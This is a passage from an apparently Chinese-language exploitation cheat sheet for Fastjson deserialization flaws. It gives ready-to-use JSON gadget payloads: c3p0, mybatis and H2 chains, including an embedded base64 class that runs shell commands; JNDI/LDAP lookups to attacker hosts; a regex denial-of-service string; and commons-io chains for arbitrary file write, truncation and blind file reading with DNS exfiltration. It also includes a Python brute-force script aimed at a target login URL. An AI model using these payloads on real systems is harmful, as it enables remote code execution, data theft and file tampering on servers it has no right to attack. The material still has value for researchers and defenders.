    String payload = "HexAsciiSerializedMap:" + hex + ";";

public static String toHexAscii(byte[] bytes)
{
    int len = bytes.length;
    StringWriter sw = new StringWriter(len * 2);
    for (int i = 0; i < len; ++i)
        addHexAscii(bytes[i], sw);
    return sw.toString();
}

static void addHexAscii(byte b, StringWriter sw)
{
    int ub = b & 0xff;
    int h1 = ub / 16;
    int h2 = ub % 16;
    sw.write(toHexDigit(h1));
    sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
    char out;
    if (h <= 9) out = (char) (h + 0x30);
    else out = (char) (h + 0x37);
    //System.err.println(h + ": " + out);
    return out;
}
  

```json
{
    "x1": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "x2": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "[code]"
    }
}

mybatis

mybatis 也有 BCEL 加载效果:

{
    "x": {
        "xxx": {
            "@type": "java.lang.Class",
            "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
        },
        "c": {
            "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
        },
        "www": {
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type": "com.alibaba.fastjson.JSONObject",
            "c": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
            },
            "c": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driver": "【bcelCode】"
            }
        }:{}
    }
}

H2Jdbc

com.h2database:h2 <= 2.2.224

{
    "x1": {
        "@type": "java.lang.Class",
        "val": "org.h2.jdbcx.JdbcDataSource"
    },
    "x2": {
        "@type": "com.alibaba.fastjson.JSONObject",
        "c": {
            "@type": "org.h2.jdbcx.JdbcDataSource",
            "url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"yv66vgAAADIAQAEAWm9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2Rlc2VyaWFsaXphdGlvbi9pbXBsL1Byb3BlcnR5VmFsdWU0NWNjYzQ5NzBmZjI0MWYwYmYzZTBjY2U4NDY1MjU5ZQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"
        }
    },
    "x3": {
     "$ref": "$.x2.c.connection"
     }
}

1.2.48 ~ 1.2.67

以下都需要开启 AutoType,实战能打到的概率偏低。

<=1.2.60

commons-configuration-1.10,且 AutoType enable

ParserConfig.getGlobalInstance().setAutoTypeSupport(true)
<dependency>
    <groupId>commons-configuration</groupId>

    <artifactId>commons-configuration</artifactId>

    <version>1.10</version>

</dependency>

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}

<=1.2.61

AutoType enable

<dependency>
    <groupId>org.apache.commons</groupId>

    <artifactId>commons-configuration2</artifactId>

    <version>2.8.0</version>

</dependency>

{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}

<=1.2.67

条件:开启 AutoType,存在 Shiro(不限版本)即可通杀

<dependency>
    <groupId>org.apache.shiro</groupId>

    <artifactId>shiro-core</artifactId>

    <version>1.5.2</version>

</dependency>

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh","instance":{"$ref":"$.instance"}}

1.2.36 ~ 1.2.62

存在拒绝服务,无其他条件,可变相用于黑盒版本探测:

{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

{"regex":{"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

1.2.68

绕过分析

这里靠 expectClass 绕过,也就是找 java.lang.AutoCloseable 的实现类。

设置 @type 且进入 JavaBeanDeserializer 时,会把第一个 @type 当 expectClass,再去检查下一个 @type,从而绕过:

修复分析

AutoCloseable 进黑名单,不再作为 expectClass

JDK11 任意写 / 文件清空

任意写

{
  "@type": "java.lang.AutoCloseable",
  "@type": "sun.rmi.server.MarshalOutputStream",
  "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "java.io.FileOutputStream",
      "file": "${file}",
      "append": false
    },
    "infl": {
      "input": {
        "array": "${array}",
        "limit": ${limit}
      }
    },
    "bufLen": "100"
  },
  "protocolVersion": 1
}

Fastjson 在类没有无参构造时,如果其他构造函数带有符号信息,也是可以调用的。

标准 javac 编译过程中,源码里的变量名 / 参数名可能会被丢掉或混淆,变成无意义占位符。反编译时经常看到 arg0var0,就是这个原因。「符号信息」指的是编译器把 nameage 这类字符串留在字节码的 LocalVariableTable 里。

可以用下面命令检查;如果有 LocalVariableTable 输出,说明该类字节码里的函数参数还带着参数名:

javap -l <class_name> | grep LocalVariableTable

文件清空

{
  "@type":"java.lang.AutoCloseable",
  "@type":"java.io.FileOutputStream",
  "file":"/tmp/123",
  "append":false
}
{
  "@type": "java.lang.AutoCloseable",
  "@type": "java.io.FileWriter",
  "file": "/tmp/nonexist",
  "append": "false"
}

文件复制

需要aspectjtools依赖

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
  "targetPath":"/x/x/web/nonexist.txt",
  "tempPath":"/etc/hosts"
}

commons-io 利用

这里io1-io6,主要参考的是珂技知识分析公众号里的文章: https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

commons-io 版本差异

http://www.bmth666.cn/2025/12/30/Fastjson-commons-io%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%86%99/

需要按不同版本依赖,改对应参数名。

当 io < 2.5 时,按系统不同,可能会走到 WriterOutputStream 里带 decoder 的构造;这时 decoder 只能设成 com.alibaba.fastjson.util.UTF8Decoder,导致没法写二进制。这个问题在 [https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson Decoder) 里也出现过。

io 读文件 / 目录

由浅蓝对 BlackHat 上的链做了优化。

https://b1ue.cn/archives/506.html 文章里设了具体场景,对应下面三种 payload。

读取错误时返回 null,要结合原本就有回显的点来用:

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          ...
        ]
      }
    ]
  },
  "address" : {"$ref":"$.abc.BOM"}
}

报错读:正确时报错,错误时不报错。这个用得更多一点。

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable",
    "@type":"org.apache.commons.io.input.CharSequenceReader",
    "charSequence": 
    {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}
}

DNS 读:错误时有 DNS 请求,正确时没有。

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
  "xxx": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://aaaxasd.g2pbiw.dnslog.cn/"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
  },
  "zzz":{"$ref":"$.xxx.BOM[0]"}
}

配套python脚本:

import requests

url = "http://192.168.1.101/login"

#码表可按照实际修改,例如探测jdk目录一般文件名为小写
#asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且全为小写 
asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且包含大小写 
# asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126] #所有可见字符


data1 = """
{
    "abc": {
                "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///usr/local/tomcat/" # 修改这个进行列目录
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [
            {
                "charsetName": "UTF-8",
                "bytes": [
"""  

data2 = """
                ]
            }
        ]
    },
    "address": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
            "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
            "start": 0,
            "end": 0
        }
    }
}
"""
proxies = {
    'http': '127.0.0.1:8080',
}

header = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
    "Content-Type": "application/json; charset=utf-8"
}

def byte2str(bytes):
    file_str = ""
    for i in file_byte:
        file_str += chr(int(i))
    print("【" + file_str + "】")

file_byte = []
for i in range(0,50):  # 需要读取多长自己定义,但一次性不要太长,建议分多次读取
    for i in asciis:
        file_byte.append(str(i))
        req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
        text = req.text
        
        if "charSequence" not in text:
            file_byte.pop()
    byte2str(file_byte) 
print(file_byte)    

io1 / io2 写文件(编码后支持二进制)

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

只能写 8kb 整的文件;写二进制时必须做 iso-8859-1 编码;目录必须已存在。

这里走的是 XmlStreamReader 构造触发 getBOMioFinal 会改良成直接通过 BOMInputStream.getBOM 触发。FileWriterWithEncoding 也会换成 LockableFileWriter,从而能自动创建目录。

commons-io 2.0 - 2.6

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""${content}"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"${path}",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

commons-io 2.7 - 2.8.0

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }

解析特性

payload 里有一段 JSON 比较特殊:

"charSequence":{"@type":"java.lang.String""aaaaaa"

第一个特殊点:为什么不直接写:

"charSequence": "aaa"

这里报错,是因为 Fastjson 把 charSequence 当接口,默认按 Java Bean 处理;而 "aaa" 会被当成基础字符串,类型对不上。

第二个特殊点:为什么能直接在 String 后面写 "aaaa"

上面报错后,我先把 payload 改成了:

"charSequence":{"@type":"java.lang.String", "original":"aaaaaa"}

想调 String 的构造,还是报错。

换成正确 payload 跟进调试,最终发现是在这里截取:

然后在 StringCodec 里正式取出:

调试里还发现:String 后面不能跟逗号,不然一定报错。跟了逗号,token 就会是逗号,StringCodec 就会走进上图断点那行,最后掉进 switch default 报错。

第三个特殊点:为什么最后少了一个 } 闭合,还能解析成功?

当时我也困惑,后来对照解析逻辑看了一下:

总的来说,记住有这么一种写法即可。

io3 写文件(≈ io1 / io2

su18 发现的类似 io1 的链,和 io1 基本一样: https://su18.org/post/fastjson-1.2.68/

io4 写文件(支持二进制)

需要 commons-io-2.2aspectjtools-1.9.6commons-codec-1.6。只能写 8kb 整,二进制写入正常。

于 BlackHat 公开:

https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf

https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/#toc-heading-32

// commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
    public static void writeIo4() throws IOException {
        String json = "{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "      \"targetPath\":\"%2$s\",\n" +
                "      \"append\":false,\n" +
                "      \"alwaysCreate\":true\n" +
                "    },\n" +
                "    \"closeBranch\":false\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}";

        // 要写入的文件
        byte[] bytes = Files.readAllBytes(Paths.get("D:/flag.txt"));

        //写文本时要填充数据
        String content = new String(bytes, StandardCharsets.UTF_8);
        for (int i=0; i<8192; i++){
            content = content + "a";
        }

        byte[] bytesPadding = content.getBytes();
        String base64Content = Base64.getEncoder().encodeToString(bytesPadding);
        String path = "D:/1tmp/111.txt";

        String format = String.format(json, base64Content, path, Arrays.toString(bytesPadding));
        JSON.parse(format);
    }

io5 写文件 / 创建目录(io4 换依赖,能写任意大小文件)

在 io4 基础上,用 ant 依赖代替 aspectjtools。可以写 8kb 以上二进制;LockableFileWriter 还能创建目录。

https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew

目录创建:

{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.output.WriterOutputStream",
 "writer":{
 "@type":"org.apache.commons.io.output.LockableFileWriter",
 "file":"/etc/passwd", //一个存在的文件
 "encoding":"UTF-8",
 "append": true,
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录
 },
 "charset":"UTF-8",
 "bufferSize": 8193,
 "writeImmediately": true
 }

任意文件写入:

public static void writeIo5() throws IOException {
        String json = "{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                //"      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                //"      \"targetPath\":\"%2$s\"\n" +
                "      \"@type\":\"org.apache.tools.ant.util.LazyFileOutputStream\",\n" +
                "      \"file\":\"%2$s\",\n" +
                "      \"append\":false,\n" +
                "      \"alwaysCreate\":true\n" +
                "    },\n" +
                "    \"closeBranch\":false\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}";
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\flag.txt"));
        String content = Base64.getEncoder().encodeToString(bytes);
        String path = "D:/1tmp/111.txt";
        String string = Arrays.toString(bytes);
        String format = String.format(json, content, path, string);
        JSON.parse(format);
    }

io6 写文件(LockableFileWriter,突破 8kb

浅蓝那条 ognl,以及 xalan + dom4j 组合。后来 GeekCon 上公开了利用 jackson 的 Exception,把 InputStream 加进缓存的链:

https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf

其中用 LockableFileWriter 代替 FileWriterWithEncoding 的写法,参考文章这边叫它 io6。相比 io1~io4,文件大小不再卡死在 8kb;而且能自动创建目录,很契合打 SpringBoot 环境。

{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "cs": {
            "@type": "java.lang.String"
            "${shellcode}",
            "charset": "iso-8859-1",
            "bufferSize": ${size}
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "${file2write}",
              "charset": "iso-8859-1",
              "append": true
            },
            "charset": "iso-8859-1",
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
      "b": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      },
      "c": {}
    }
  

io7 写文件(有期望类时套 Currency)

https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww

GeekCon 2024 上 @jsjcw 师傅分享的 commons-io 写二进制链很精彩,但要多次发包。原文作者调试时结合 BlackHat 2021 那条链的逻辑,拼出了一条能写任意长度内容的链;若反序列化点还带着期望类,就再套一层 java.util.Currency 去触发 getter——虽然最终会报错,但不影响文件写入。笔者这边把这种写法记作 io7。

注意:写二进制时 commons-io 最好 > 2.4。WriterOutputStream 的构造方法顺序跟版本强相关,2.4 及以前常会先命中带 CharsetDecoder 的构造,这时候要写出 iso-8859-1 二进制就比较别扭。

{
  "dd":{
  "@type":"java.util.Currency",
  "val":{
  "currency":{
  "w":{
    "@type":"java.lang.AutoCloseable",
    "@type":"org.apache.commons.io.input.BOMInputStream",
    "delegate":{
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "cs": {
            "@type": "java.lang.String"
            "\xff",
            "charset": "iso-8859-1",
            "bufferSize": 1
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "/tmp/1.jpg",
              "encoding": "iso-8859-1",
              "charset": "iso-8859-1",
              "append": false
            },
            "charset":"iso-8859-1",
            "charsetName":"iso-8859-1",
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
    "include":true,
    "boms":[{
                    "@type": "org.apache.commons.io.ByteOrderMark",
                    "charsetName": "iso-8859-1",
                    "bytes":[0, 0,0]
                  }]
  }
  }
  }
  }
  }

ioFinal 写文件(终形态)

前面 io1io7 各有取舍:io1/io2 靠 XmlStreamReader 触发、卡 8kbio6 换成 LockableFileWriter 突破大小和建目录,但仍要 XmlStreamReader;io7 能写任意长度二进制,有期望类时再套 Currency,但 Currency 那条结果一定报错,没回显细节时很难判断是不是 payload 本身写挂了。

ioFinal 相当于把优点收拢一遍,推荐用 java-chains 直接生成:

1、触发改为 "$ref":"$.bOM",直接打到 BOMInputStream.getBOM,不再绕 XmlStreamReader 构造 2、输入侧用 CharSequenceReader + ReaderInputStream,内容用 \x.. + iso-8859-1 塞二进制,比 io7 的 CharSequenceInputStream 更好控,也少踩一些 commons-io 版本构造差异 3、写出侧继续 LockableFileWriter,并可带 lockDir 自动建目录;任意长度,不卡 8kb 4、无期望类的 parse 点可直接用,不必套 Currency,也就不会「必报错」干扰判断;若点上确实有期望类,再按前文小技巧套一层 Currency 即可

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.BOMInputStream",
  "delegate":{
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
           "@type": "org.apache.commons.io.input.CharSequenceReader",
           "charSequence": {
           "@type": "java.lang.String"
